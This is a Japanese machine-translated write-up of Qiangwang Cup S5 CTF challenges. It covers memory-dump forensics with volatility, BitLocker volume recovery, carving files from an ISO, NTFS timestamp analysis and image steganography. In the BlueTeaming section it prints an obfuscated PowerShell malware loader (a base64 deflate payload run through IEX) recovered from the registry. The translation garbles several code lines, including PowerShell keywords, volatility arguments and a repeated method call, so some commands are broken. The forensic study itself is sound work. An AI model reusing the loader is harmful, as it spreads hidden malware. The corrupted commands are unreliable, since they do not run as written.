すべての道士が競技に慣れるために、まもなく恒例の強王杯競技会が開催されます。
昨年の大会の質問を再現しました
台本あり、添付あり( •̀ω•́ )yパースも乾物だらけ
目次
皆さん乾杯( •̀ ω •́ )y またのお越しをお待ちしております
-
その他
タイトル:サインイン
フラグ {welcome_to_qwb_s5} ( •̀ ω •́ )y
タイトル:アンケート
https://www.wjx.top/vj/PXgE3rj.aspx にアクセスしてください
記入後、フラグを取得します
フラグ値は
フラグ{Welc0me_tO_qwbS5_Hope_you_play_h4ppily} ( •̀ ω •́ )y
タイトル: BlueTeaming
添付ファイルをダウンロード
リンク: https://pan.baidu.com/s/1qqE4s4deZGdCMt2MOFQW7g
抽出コード:ルル
トピックの説明:
Powershell スクリプトは悪意のあるプログラムによって実行されました.Power shellscript コンテンツを含むレジストリ キーは何ですか? (この質問のフラグは非公式です)
Powershell スクリプトは、悪意のあるプログラムによって実行されます。power shellscript の内容を含むレジストリ キーは何ですか? (そしてフラグは通常の形式ではありません)
添付ファイルのダウンロード
サフィックスなしで BlueTeaming ファイルを取得する
010 観測フォーマットをドラッグします。
明らかな 7Z アーカイブ形式
サフィックスを直接追加して解凍し、memory.dmp ファイルを取得します。
dmpファイルをみんなに普及させます
これはメモリ イメージ ファイルです. 一般的なメモリ イメージ ファイルには、raw、vmem、dmp、および img が含まれます. Powershell についてハイブを検索するには
.dmp ファイルは、コンピューターにブルー スクリーンが表示されたときに最も古いものを指し、Windows システムは自動的にブルー スクリーン エラー dmp ファイルを生成します。このファイルは特定の場所に保存されます。ブルー スクリーンを開くには、Microsoft のデバッグ ツールを使用する必要があります。エラー dmp ファイル
ワトソン博士は、Windows に付属のデバッグ ツールであるダンプ ファイルを生成する必要があり、設定されている限り、プログラムが失敗した後、対応するディレクトリにダンプ ファイルを見つけることができます。
デバッグ ダンプ ファイル
1) windbg を使用します。
2) vcを使って、dmpファイルとexe、pdbファイルを同じディレクトリに置き、コンパイラ(vcなど)で開いてからデバッグを開始すると、中断したところまで中断されます。
まず、この画像ファイルを分析する必要があります。
ここでは、Kali のインストールがより面倒なので、 volatility_2.6_win64_standalone.exeの win バージョンを使用します。
ここでは説明しないダウンロード アドレス
volatility_2.6_win64_standalone.exe -f .\memory.dmp imageinfo
次に、ハイブを直接監視します
volatility_2.6_win64_standalone.exe -f memory.dmp --profile=Win7SP1x64 hivelist
タイトルで powershell を探すように求められているので、まずログ ファイルを見てみましょう。
volatility_2.6_win64_standalone.exe -f memory.dmp --profile=Win7SP1x64 filescan|find "evtx"
注意すれば、 powershellのログを簡単に見つけることができます
レジストリファイルを直接エクスポートします
volatility_2.6_win64_standalone.exe -f memory.dmp --profile=Win7SP1x64 dumpregistry --dump-dir ./
これらのレジストリを WRR.exe で開きます
タイトルには、powershell マルウェアに関連している可能性があると記載されているため、SOFTWARE 固有の文字列を優先し、WRR.exe ツールを使用してレジストリを確認し、いくつかの一般的なマルウェア フィールドをグローバルに検索します。
-IEX 、encode decompress new-objectなどのように、最終的にマルウェアが保存されているレジストリの場所を見つけることができます
パスが見つかりました
CMI-CreateHive{199DAFC2-6F16-4946-BF90-5A3FC3A60902}\Microsoft\Windows\Communication
悪意のあるスクリプトの発見は、私たちが正しい場所にいることを意味します
& ( $VERBOSEPREFERENCE.TOSTRING()[1,3]+'x'-JOIN'')( 新しいオブジェクト システム.IO.ストリームリーダー( ( 新しいオブジェクト システム.IO.圧縮.デフレートストリーム([IO.メモリストリーム] [変換]::frombase64String('NVJdb5tAEHyv1P9wQpYAuZDaTpvEVqRi+5Sgmo/Axa0VRdoLXBMUmyMGu7Es//fuQvoAN7e7Nzua3RqUcJbgQVLIJ1hzNi/eGLMYe2gOFX+0zHpl9s0Uv4YHbnu8CzwI8nIW5UX4bNqM2RPGUtU4sPQSH+mmsFbIY87kFit3A6ohVnGIFbLOdLlXCdFhAlOT3rGAEJYQvfIsgmAjw/mJXTPLssxsg3U59VTvyrT7JjvDS8bwN8NvbPYt81amMeItpi1TI3omaErK0fO5bNr7LQVkWjYkqlZtkVtRUK8xxAQxxqylGVwM3dFX6jtw6TgbnrPRCMFlm75i3xAPhq2aqUnNKFyWqhNiu0bC4wV6kXHDsh6yF5k8Xgz7Hbi6+ACXI/vLQyoSv7x5/EgNbXvy+VPvOAtyvWuggvuGvOhZaNFS/wTlqN9xwqGuwQddst7Rh3AfvQKHLAoCsq4jmMJBgKrpMbm/By8pcDQLzlju3zFn6S12zB6PjXsIfcj0XBmu8Qyqma4ETw2rd8w2MI92IGKU0HGqEGYacp7/Z2U+CB7gqJdy67c2dHYsOA0H598N33b3cr3j2EzoKXgpiv1+XjfbIryhRk+wakhq16TSqYhpKcHbpNTox9GYgyekcY0KcFGyKFf56YTF7drg1ji/+BMk/G7H04Y599sCFW3+NG71l0aXZRntjFu94FGhHidQzYvOsSiOaLsFxaY6P6CbFWioRSUTGdSnyT8=' ) , [IO. COMPRESSION.COMPRESSIONNODE]::DECOMPRESS)), [TEXT.ENCODING]::AsCIi)).ReadToEnd()ReadDTeNd()ReadDTeNd()
プロンプトフラグによると、レジストリキーであり、非公式です
そうフラグ
あれは
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Communication
タイトル:サイファーマン
添付ファイルをダウンロード
リンク:https
://pan.baidu.com/s/1AeUHwdhYzgUV6kxs602Lcg 抽出コード:lulu
トピックの説明:
攻撃者が悪意を持ってユーザーの PC にアクセスし、特定のボリュームを暗号化しました.ボリュームを復号化する方法? (この質問のフラグは非公式です)
添付ファイルのダウンロード
これ以上苦労せずに、010 マイルをドラッグします
案の定、サフィックス付きの7z圧縮パッケージ形式でもあります
サフィックスなしでメモリと秘密のファイルを取得する
まず、この画像ファイルを分析する必要があります。
勝利でボラティリティツールを引き続き使用します
volatility_2.6_win64_standalone.exe -f .\memory imageinfo
最初にファイルをスキャンする
volatility_2.6_win64_standalone.exe -f メモリ --profile=Win7SP1x86_23418 ファイルスキャン
BitLocker 回復キー ファイルが見つかりました
私は彼を見つけて連れ出しました。
vol.py -f メモリ --profile=Win7SP1x86_23418 ダンプファイル -Q 0x000000007e02af80 --dump-dir=./
(このステップはバージョンの問題で win ではエクスポートできないため、このステップを Kali で実行します。読者の皆様にはご迷惑をおかけします。申し訳ありません)
開いて次のコンテンツを取得します
コピーして翻訳する
回復キーを取得する
BitLocker 回復キー:
221628-533357-667392-449185-516428-718443-190674-375100
この時点で、マウント ツールdiskgeniusを見つける必要があります。
マウントするとロックが解除されます
今すぐ回復キーを入力してください
ロックを解除しました
クリックしてファイルを参照して開きます txt はフラグです
フラグを取得
うわー、あなたは素晴らしい能力を持っています。これをどのように解決しましたか?あなたはハッカーですか?あとで教えてください。
タイトル: ISO1995
添付ファイルをダウンロード
リンク:https
://pan.baidu.com/s/1pKw6IZyyjpc3tHvrYs3V7w 抽出コード:lulu
トピックの説明:
ISO1995に準拠しています。しかし、ISO1995 には多くの問題があります。既知の問題の 1 つは時間です。
当時、多くの人がこの質問について考えました
(UltraISOで開いて1024ファイルをダウンロードしようと考えています。テキストを時間などでソートしてからコード化して解読します)
最初の方法
名前にISOがあるので接尾辞をつける
UltraISOで開く
中のファイルを引き出す
ファイルの取得は、通常、サフィックス(この質問ではありません)、名前、ソースコードに依存します
010 元のフォーマットを見てみましょう
前には何もなく、真ん中に何かがあることがわかります
フラグを検索してみてください。
次に、あなたがいるページをよく見てください
他のすべてのセグメントには同じセグメントがあります
FF FF FF FFの後の2桁だけ違う
そして検索したら全部で1024個あり、FFFFFFFFに続く数字も変化しており、何気なく1ダース見てみたところ、合計値が1024を超えていないことがわかったので、これを抽出した1024ファイルの順番として推測します.
最初に、FF FF FF FF の後の 2 バイトを抽出するスクリプトを作成します。
f = open("iso1995",'rb').read()
f1 = open("flag",'wb')
def find_all_indexes(input_str, search_str):
l1 = []
length = len(input_str)
index = 0
while index < length:
i = input_str.find(search_str, index)
if i == -1:
return l1
l1.append(i)
index = i + 1
return l1
s = find_all_indexes(f,b'\xff\xff\xff\xff')
for i in s:
f1.write(f[i+4:i+6])
print("done")
ファイル010を開く
別のスクリプトが必要で、10 進数値を抽出する
(fは赤枠内の内容)
s = [""]*1024
f = "000000AA035702C50023026802F202DB03E501E5010102A80236026703F2009E002A00E0039801B0028A006D03D1019D01CB031B031902A0025900A1022D030500510231003C02C702E301990235037E0185012E007400A2006C021602FC01B401AA026902CE00FD00B601D3004903BC02F000F2016503A4032501EE03B403DE02DE03F80147024F033C0263001C03F4009702EC0091000C00BF0168023301A4038C024E024D03C50086037C001202C101110126036801C7000702F3007000BB0304036B02D3004103AF0130017C003403970061008102A301A80092012A002C01350323028E00F902D7010901A702F8032701EF000F03C8020E014A02600344034300C4022C0099026D008A030103F10273031F009D00F501FA010D037A036101E10307021502E201B70225031000350243028602D8010803EF01F5030A03390170010701770100005C021C01690063010203E1039C00DA037D01BC014002A5034900D8033A00C1004403CF029101FF03D802390338030B010602B303FB03F0007701CD025600EC004C03EB000101620266035B0298000A02CC0248011500A8034D025401D703E9035A02270065016B03AC03830039019503EA030D03AE02820078001501B8011D018600F600180148038E00F4013701F0012203CD011E027201CE01F103B8022B02AE00BE03850133033E020C021003A901BD00ED033403300214008F014B00D700040265014301A901800178034C0062030201BE02F5036600AD02AD016403330142036E03E00345018A00E300A300FB028F03BF022F02DC039E03D90314006803B600A602D202220103004D03F9008B01F6018E03E3030000C002AA01A10139019F0360025B01BA027600F0038D001F0006028C013203D6020B0198018802A1023801E6007C035D0064009F024A00D001BB005E02BD019A019300F803A30362019E00D4026E03EE0352015F023201FB03C002BA03BE02EB01C103900129039900CC02AC02BB02A9003800E400E1009C020A03200396020701F90192034E02B501F8032803CB024200B7038100B803E7012F019C031C03F50230023C0113006F00AE01DE0071029601F702A2004A01280110005F024701C4034B03E603ED0318008C015A03BA03F600AB0079028100AF00EA01A20127011C0056018F02BF0002018303A100CF013D029A031E02710138021903640261007601AB03E800A501EB03DD01A300600096017B007E01B3035403E2012B017103FC000901C901FC021E00B9032E02E4026C008502D902DF027A01AC03CE00E200670365038401DC01F40212012000CD0221021B01DA0209013E031D005B0378016C007300CA0255008D00C20082009A0224001B001303750347027801D603D000EF037103EC002F03A002B103FA002501D8004F01B102C3029F030902A4028B009302BC00D5028801B600FF011403F3030E021F002100D6018D036F032103530029015B034603D7034F0043017303DB01600292039203370030017F02F70124003E02F601AF010E039D0246028701B9021A010C0394025000F303A20000011603AD0377011A02EF02CA0153031201E8034A0311022902AF03A50359036D01A6023B021D00FA02D0033500BD025F0326037F03A801EA011B029E03CC0201038A016A03800037013F0080029B01CA025302E90088037001C802F103B30205003A031701AD0125018701970237014E025E036A011F020F00A9014C008E030C032B005201410355029702950275013A0350015702AB03FF00F7009800DD015E038701E4008700550159013C0105019B01D1019402CF004502B000C60022026F01E001DD033B03FD01D20154005D03890024039F01DF028D03BB024500110003002700C702BE004700C902B601B5009B006E03C3016E00B5025D005900160008002D0066007A037B01BF030802ED035C02CD00E500C5020802FB028001CF025A03DA018B017A02B801040190003D03BD0089020403910289014F027401C303220151019602C203D203F7029401D900BA015803FE03B103B501ED014D0136023A004203740315039500E9034200DE00D101B203400020004E015C013B00AC036302D40223002600DB017E0123006B02DD02FF029900F100840217001400900176020602B4023E0372032F023D01C002E60220007202FE03C901D00053032901C6033D027C03B903690028005002DA00D901E9001A02CB017202E80356019102EE009501C20094007F025101840144024B03B0012102030264022E034802FD03730249003602C8027B0226016D03C700170040038602620270025202E50234010F03C4010B0150029302B9016F038203AB018902B7039B014601F2030F00CB005400C801DB035E03880083001D007B00FE0181010A003301E203C103E402FA01630358006900E702E0017D00EE02900166027E003B02F400D30341027901790228015202B2036C0119033603AA0174029D011703A7023F02D6021801FD0134001902C0000D0161032D001001490167002E004B020003C6004600B3005A01D5020203130131012C033200B2021301A502EA026A02D5000E007D03B202C900EB003103D500B401E700BC039A01550367032A0156030302850351025802D100A7027F011201EC031602C6002B00A00284004800CE01E3024100B0025C02A601CC030602C400B1024002E703DF029C033100DF00750005006A03B7003F00D201F3026B032C00FC005801D40393032401AE038F018C01FE03C20182015D00E6020D0175012D003203CA02E1038B03D4027702F9025702A7031A00A403DC01C5024C021100C30244001E022A0283027D035F00DC03A60379033F037600E80118014503D30057000B"
for i in range(1024):
print(int(f[i*4:i*4+4],16))
s[i] = int(f[i*4:i*4+4],16)
print(s)
print(len(s))
最後に、それを抽出して名前を変更し、順番に名前を変更するだけです
import os
path = 'C:\Users\lujin\Desktop\强网杯\ISO1995\附件\新建文件夹'
num= 0
for file in os.listdir(path):
os.rename(os.path.join(path,file),os.path.join(path,str(num)))
num+=1
次に、名前を変更したファイルを上記の順序で並べ替えて接合します
f = open("flag1",'wb')
for j in s:
f1 = open("C:\Users\lujin\Desktop\强网杯\ISO1995\附件\新建文件夹\\"+str(j),"rb").read()
f.write(f1)
print("done")
フラグを取得するために実行します
フラグ{Dir3ct0ry_jYa_n41}
2番目の方法
このスクリプトの原則は、実際には最初の方法の原則をスクリプトに結合することです (詳しく調べたい場合は、それを見ることができます)。
実は原理は同じ
import re
import struct
with open("iso1995.iso", "rb") as f:
data = f.read()
pos_val = {}
res = []
for i, x in enumerate(re.finditer(rb"f\x00l\x00a\x00g\x00_\x00", data)):
index = x.start()-12
index = struct.unpack(">H", data[index:index+2])[0]
index_data = 0x26800 + (index * 0x800)
pos_val[index] = data[index_data:index_data+1].decode("utf-8")
for k, v in pos_val.items():
res.append(v)
print("".join(res))
取得を実行
検索する
フラグ{Dir3ct0ry_jYa_n41}
タイトル: EzTime
添付ファイルをダウンロード
リンク: https://pan.baidu.com/s/1ytZNDEF9Kb3zH5CCEco4cQ
抽出コード:ルル
Forensic.Find a file that has been modified a time attribute has been modified by a program. (この質問のフラグは非公式形式です)
(時間属性がプログラムによって変更されたファイルを探します。)
添付ファイルのダウンロード
最後まで解凍
得る
$LogFile、$MFT (マスターファイルテーブル)
diskgeniusを使用してマウントする
回復成功
データ復旧後に行うこと
そんな時、ヒントになる
(時間属性がプログラムによって変更されたファイルを探します。)
変更時刻がレコードの更新時刻と異なるとはどういう意味ですか?
現時点では、diskgenius の欠点を見つけることができます. 彼は更新時間を記録していません.
今回はX-wayが出てきました
フラグを取得
{45EF6FFC-F0B6-4000-A7C0-8D1549355A8C}.png
タイトル:三体
添付ファイルをダウンロード
リンク:https
://pan.baidu.com/s/1VLfTHEi9ux1yeD5eBWu5Fg 抽出コード:lulu
トピックのヒント
写真に写る全てに意味がある
そこに頭を突っ込むのではなく、既存の情報に基づいて合理的に検索エンジンを使用してください
添付画像を bmp 形式でダウンロードする
まず基本的な属性情報を見て、何もないことを確認します
次に、stegsolve に直接アクセスして確認します
言葉があります、あなたはすべてバグです、これは明らかに作者の嘲笑です
それから彼に問題を解かせてください
うっかり ps で拡大してみると、ピクセルが規則正しく配置されているのが少し興味深いことに気付きました
次のステップは、010 エディタを使用してピクセル値を表示することです
表示に 010 を使用すると、以下に示すように、010 が 1 ピクセルを表す 3 バイトであることがわかります。
010 Editor で注意深く観察すると、以下に示すように、隣接するピクセルの色の値が常に類似しているため、これらのデータは 4 バイトのグループに似ています。
一般に、通常の画像の画素間の差は非常に小さく、3 ビット周期では差が大きいのに対し、4 ビット周期では差が非常に小さいことがわかります。
したがって、タイトルの三体プロンプトの次元概念と組み合わせて、この絵の次元を高める必要があります。
画像の前に bibitcount があります。これは各ピクセルのバイト数です。24 を 32 に変更します。
保存して開く
新しい写真を手に入れるだけ
stegsolve にドラッグして老人を見つける
強王杯へようこそ
別の紛らわしいメッセージ
左上隅にあるものを注意深く探します
lsb メソッドを使用して情報を非表示にする場合があります
私たちはステグソルブを使い続けています
私は誰ですか?
もう一度列に切り替えて確認しましょう
David が David の名前のように見えるようにする
数学者のデイビッド・ヒルベルトを調べてみてください
有益な情報が得られない
しかし、よく見ると、StegSolver は bmp の RGB 3 チャネルしか認識できず、アルファ チャネルには白い画面が表示されることがわかります。
ここには2つの方法があります
最初の方法
bmpをpngに変換
ここにスクリプトがあります
スクリプト添付
from PIL import Image
image=Image.new(mode='RGBA',size=(580,435))
with open(r'threebody.bmp','rb') as f:
file=f.read()
index=0
for i in range(434,-1,-1): for j in range(0,580):
s=[]
for t in range(0,4):
s.append(file[index])
index+=1
image.putpixel((j,i),(s[2],s[1],s[0],s[3])) #
image.show()
image.save('threebody_new.png')
実行してpng形式の画像を取得します
StegSolverに入れる
グリーンプレーンチャンネルに疑わしいQRコードの写真があります
2番目の方法
bmp の元の画像
010の情報を引き続き観察する
アップグレード後にイメージをリロードする
rgbReserved チャネルがもう 1 つ見つかりました
そして、このチャンネルは青のチャンネルに非常に近いです
rgbReserved チャネルの値を blue チャネルにコピーしてみてください。
スクリプトが必要です
with open('threebody.bmp', 'rb') as f:
d = f.read()
w = 580
h = 435
b = 4
l = bytearray(d)
off = l[10]
for i in range(h):
for j in range(w):
l[off+j*b+i*b*w] = l[off+j*b+i*b*w+3]
with open('threebody_new.bmp', 'wb') as f:
f.write(l)
実行して新しい bmp 画像を取得する
StegSolverに入れる
まだこの写真を取得します
2つの方法が導入されました
それから続けます
最初に画像を保存します
多くの人は、ここで何をすればよいかわかりません(もちろん、あまり経験がなければ、この図が明らかに 2 次元配列であることは簡単にわかります)。
この時点で、前の情報に戻って確認し、組み合わせます。
その人物の名前 (ヒルベルト) を、トピックの説明と組み合わせて使用しませんでした
検索エンジンでヒルベルトと三体問題を調べる
ヒルベルトと三体https://www.sohu.com/a/459111314_119097
大雑把にブラウジングした後
一番大事なのはヒルベルト曲線
彼女は高次元を減らす方法です
この問題では、ヒルベルト曲線を使用して、2 次元のバイナリ配列を 1 次元のバイナリ ストリームに変換できます。
スクリプトを使用して、2 次元の 01 マトリックスの次元を 1 次元のバイナリ ストリームに縮小すると、隠しファイルを取得できます。スクリプトで使用
スクリプト添付
import numpy as np
from PIL import Image
#安装:pip install -i https://pypi.tuna.tsinghua.edu.cn/simple hilbertcurve
from hilbertcurve.hilbertcurve import HilbertCurve
#提取像素数据
with Image.open('solved.bmp') as img:
arr = np.asarray(img)
arr = np.vectorize(lambda x: x&1)(arr[:,:,2])
#确定图片中的有效区域
for x1 in range(np.size(arr,0)):
if sum(arr[x1])>0:
break
for x2 in reversed(range(np.size(arr,0))):
if sum(arr[x2])>0:
break
for y1 in range(np.size(arr,1)):
if sum(arr[:,y1])>0:
break
for y2 in reversed(range(np.size(arr,1))):
if sum(arr[:,y2])>0:
break
#剪切出有效二维数据
arr = arr[x1:x2+1, y1:y2+1]
#print(x2+1-x1)#得出是128*128的矩阵
#构建希尔伯特曲线对象
hilbert_curve = HilbertCurve(7, 2)
#生成一维的二进制流数据
s = ''
for i in range(np.size(arr)):
[x,y] = hilbert_curve.point_from_distance(i)
s += str(arr[127-y][x])
#转ASCII文本写入文件
with open('output', 'wb') as f:
f.write(int(s,2).to_bytes(2048, 'big'))
pycharm でエラーを報告しない
cmdで直接実行
出力ファイルが出てきます
Open は C ソース ファイルです。
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
char* a(char* s);
char t[65536];
void b()
{
printf("%s\n\nint main()\n{\n\tstrcpy(t, \"%s\");\n\tb();\n\treturn 0;\n}\n\nchar* a(char* s)\n{\n\tint l=strlen(s);\n\tchar* n=malloc(l*2+1);\n\tchar* p=n;\n\tfor(int i=0; i<l; i++)\n\t\tswitch(s[i])\n\t\t{\n\t\t\tcase '\\n':\n\t\t\t\t*p++='\\\\'; *p++='n'; break;\n\t\t\tcase '\\t':\n\t\t\t\t*p++='\\\\'; *p++='t'; break;\n\t\t\tcase '\\\\':\n\t\t\t\t*p++='\\\\'; *p++='\\\\'; break;\n\t\t\tcase '\\\"':\n\t\t\t\t*p++='\\\\'; *p++='\\\"'; break;\n\t\t\tdefault:\n\t\t\t\t*p++=s[i]; break;\n\t\t}\n\t\t*p=0;\n\n\treturn n;\n}\n", t, a(t));
}
int main()
{
strcpy(t, "#include <stdio.h>\n#include <string.h>\n#include <stdlib.h>\n\nchar* a(char* s);\n\nchar t[65536];\n\nvoid b()\n{\n\tprintf(\"%s\\n\\nint main()\\n{\\n\\tstrcpy(t, \\\"%s\\\");\\n\\tb();\\n\\treturn 0;\\n}\\n\\nchar* a(char* s)\\n{\\n\\tint l=strlen(s);\\n\\tchar* n=malloc(l*2+1);\\n\\tchar* p=n;\\n\\tfor(int i=0; i<l; i++)\\n\\t\\tswitch(s[i])\\n\\t\\t{\\n\\t\\t\\tcase '\\\\n':\\n\\t\\t\\t\\t*p++='\\\\\\\\'; *p++='n'; break;\\n\\t\\t\\tcase '\\\\t':\\n\\t\\t\\t\\t*p++='\\\\\\\\'; *p++='t'; break;\\n\\t\\t\\tcase '\\\\\\\\':\\n\\t\\t\\t\\t*p++='\\\\\\\\'; *p++='\\\\\\\\'; break;\\n\\t\\t\\tcase '\\\\\\\"':\\n\\t\\t\\t\\t*p++='\\\\\\\\'; *p++='\\\\\\\"'; break;\\n\\t\\t\\tdefault:\\n\\t\\t\\t\\t*p++=s[i]; break;\\n\\t\\t}\\n\\t\\t*p=0;\\n\\n\\treturn n;\\n}\\n\", t, a(t));\n}");
b();
return 0;
}
char* a(char* s)
{
int l=strlen(s);
char* n=(char*)malloc(l*2+1);
char* p=n;
for(int i=0; i<l; i++)
switch(s[i])
{
case '\n':
*p++='\\'; *p++='n'; break;
case '\t':
*p++='\\'; *p++='t'; break;
case '\\':
*p++='\\'; *p++='\\'; break;
case '\"':
*p++='\\'; *p++='\"'; break;
default:
*p++=s[i]; break;
}
*p=0;
return n;
}
よく見ると文法に問題があることがわかります
(char *) を malloc (英語の括弧) の前に追加します。
C 言語でオンライン Web サイトを検索する
実行してソースコードを取得する
ダウンロードして Notepad++ で開く
実行ファイルと比較
何かを見つけます
ツールバーの表示をクリックして、文字が下図のようになるようにします
タブを 1 に、スペースを 0 に割り当てます。
バイナリストリームに変換します
ここにスクリプトがあります
import re
str1='' #将空格和tab全部复制粘贴过来
#str1=re.sub(' ','',str1)
#str1=re.sub('\[','',str1)
str1=re.sub(' ','0',str1)
str1=re.sub('\t','1',str1)
print(str1)
バイナリ ストリームを取得する
01100110011011000110000101100111011110110100010000110001011011010100010101101110001101010110100100110000011011100100000101101100010111110101000001110010001100000011011000110001011001010110110101111101
最後のステップでは、バイナリを文字に変換します
import re
aa = "01100110011011000110000101100111011110110100010000110001011011010100010101101110001101010110100100110000011011100100000101101100010111110101000001110010001100000011011000110001011001010110110101111101"
bb=re.findall(r'.{8}',aa)
str1 = ""
for b in bb:
str1 += chr(int(b,2))
print(str1)
フラグを取得するために実行します
フラグ{D1mEn5i0nAl_Pr061em}
作るのは簡単ではありませんが、応援したいと思います
この記事が皆さんのお役に立てば幸いです
今後のゲームでの幸運を祈ります